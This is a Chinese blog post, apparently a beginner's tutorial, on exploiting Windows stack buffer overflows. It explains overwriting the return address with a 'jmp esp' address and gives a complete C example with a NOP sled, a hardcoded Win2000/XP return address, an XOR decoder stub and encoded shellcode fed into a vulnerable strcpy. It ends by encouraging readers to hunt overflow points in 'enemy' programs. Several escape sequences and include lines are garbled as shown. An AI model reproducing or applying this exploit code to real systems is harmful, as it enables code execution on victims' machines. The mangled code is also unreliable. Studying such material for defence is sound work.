早上好无聊,写写栈溢出的原理吧。我也是刚刚接触没多久,理解还不够深入。我将结合前两次得到的shellcode结合一个很小的本地溢出例子程序来模拟一次简单的溢出,得到一个最基本的溢出模型。
栈溢出是利用c语言对一些字符串操作不检查边界的结果,比如strcpy,strcat等等,简单地讲就是自己设置的字符串覆盖掉了程序的栈结构而导致的程序不能按照设想的状况执行。
看一下调用子程序的压栈顺序:
比如:
SubProcess proc
.................
.................
SubProcess endp
start::
...............
...............
call SubProcess
addr 1-> ...............
ends
压栈顺序是这样的:
______
高地址 | _ret__ | <--也就是addr1
|_ebp__|
|.....buf...| buf是子程序所需字符串的大小
低地址 |______|
你肯定知道windows下栈是向下生长的,和内存正好相反。
那么我们现在要做什么呢?我们需要利用c语言不检查边界的缺陷,经过一定的计算覆盖掉addr1,将addr1换成我们设置好的shellcode的执行地址,也就是说子程序将不能正确返回,程序的流程被打乱了。比如现在buf为256字节,如果我们给它强行拷贝264字节就会覆盖到ret地址。
难点:ret地址应该填什么?
这是个困扰我大半天的东西,其实很简单,原因还是没对压栈了解清楚。我们构造的字符串对原串进行了溢出覆盖掉了ret,当子程序最后出栈ebp(也已经被改写了)后执行ret时会跳向我们的shellcode。好,看一下执行ret后的esp指向哪里,不就是ret上一个栈地址吗?也就是我们的 shellcode的呀!!也就是说只要我们想办法跳到esp处,我们就能执行shellcode了!!这时我们需要在系统里随便找到一个jmp esp指令即可,这个根据不同的系统往往不同,所以如果你对你的目标有了一定的了解后就很好办了。
以win2000和winxp为例,我们可以用调试器搜索一下EEF4(jmp esp)找到一个合适的地址。我得到的0x7ffa4512,这个地址填入到ret就可以了。
好,看一下例子程序吧。
#include
#include
#include
char DenCode[ ]=""x8B"xDC"xB2"x99"xB1"x39"x30"x53"x0C"x43"xE2"xFA";
char ShellCode[ ]=""x12"x75"xAA"x59"xC9"x1A"x75"x9D"x5F"xDC"x61"xFA"x5F"xDC"x60"xF4"
""x5F"xDC"x63"xFD"x5F"xDC"x62"xB7"x5F"xDC"x65"xFC"x5F"xDC"x64"xE1"
""x5F"xDC"x67"xFC"x21"x98"x99"x99"x99"xC9"x14"xDC"x61"xC9"x23"xD4"
""x88"x1F"xE5"x66"x4B"x50"; //encrpted
char eip[]=""x12"x45"xfa"x7f";
char buf[500];
void OverFlow(char *p)
{
char Buffer[256];
printf("Here is the overflowpoint:"n");
strcpy(Buffer,p);
}
void main()
{
int i,Len; //Len=41
Len=strlen(ShellCode);
for(i=0;i<260;i++)
buf[i]=0x90;
memcpy(buf+260,eip,4); //ret
memcpy(buf+264,DenCode,12); //Dencrpt code
memcpy(buf+276,ShellCode,Len); //shellcode
OverFlow(buf);
}
就是这样,如果你对敌人程序相当地了解,你就动手挖掘它可能存在的溢出点吧,但是挖掘的过程才是最显功力的过程。
这是本地溢出了,下一步看看远程溢出
阅读(1185) | 评论(1) | 转发(0) |